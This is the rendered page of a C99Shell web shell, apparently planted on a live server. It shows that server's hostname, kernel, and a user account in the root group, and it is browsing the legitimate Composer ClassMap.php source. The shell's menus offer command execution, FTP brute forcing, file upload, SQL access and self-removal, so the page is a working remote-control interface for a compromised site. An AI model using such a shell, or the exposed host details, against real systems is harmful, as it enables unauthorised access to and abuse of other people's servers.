!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.smm.picotech.app/public_html/vendor/composer/class-map-generator/src/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClassMap.php (3.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\ClassMapGenerator;

/**
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class ClassMap implements \Countable
{
    
/**
     * @var array<class-string, non-empty-string>
     */
    
public $map = [];

    
/**
     * @var array<class-string, array<non-empty-string>>
     */
    
private $ambiguousClasses = [];

    
/**
     * @var string[]
     */
    
private $psrViolations = [];

    
/**
     * Returns the class map, which is a list of paths indexed by class name
     *
     * @return array<class-string, non-empty-string>
     */
    
public function getMap(): array
    {
        return 
$this->map;
    }

    
/**
     * Returns warning strings containing details about PSR-0/4 violations that were detected
     *
     * Violations are for ex a class which is in the wrong file/directory and thus should not be
     * found using psr-0/psr-4 autoloading but was found by the ClassMapGenerator as it scans all files.
     *
     * This is only happening when scanning paths using psr-0/psr-4 autoload type. Classmap type
     * always accepts every class as it finds it.
     *
     * @return string[]
     */
    
public function getPsrViolations(): array
    {
        return 
$this->psrViolations;
    }

    
/**
     * A map of class names to their list of ambiguous paths
     *
     * This occurs when the same class can be found in several files
     *
     * To get the path the class is being mapped to, call getClassPath
     *
     * @return array<class-string, array<non-empty-string>>
     */
    
public function getAmbiguousClasses(): array
    {
        return 
$this->ambiguousClasses;
    }

    
/**
     * Sorts the class map alphabetically by class names
     */
    
public function sort(): void
    
{
        
ksort($this->map);
    }

    
/**
     * @param class-string $className
     * @param non-empty-string $path
     */
    
public function addClass(string $classNamestring $path): void
    
{
        
$this->map[$className] = $path;
    }

    
/**
     * @param class-string $className
     * @return non-empty-string
     */
    
public function getClassPath(string $className): string
    
{
        if (!isset(
$this->map[$className])) {
            throw new 
\OutOfBoundsException('Class '.$className.' is not present in the map');
        }

        return 
$this->map[$className];
    }

    
/**
     * @param class-string $className
     */
    
public function hasClass(string $className): bool
    
{
        return isset(
$this->map[$className]);
    }

    public function 
addPsrViolation(string $warning): void
    
{
        
$this->psrViolations[] = $warning;
    }

    
/**
     * @param class-string $className
     * @param non-empty-string $path
     */
    
public function addAmbiguousClass(string $classNamestring $path): void
    
{
        
$this->ambiguousClasses[$className][] = $path;
    }

    public function 
count(): int
    
{
        return 
\count($this->map);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0077 ]--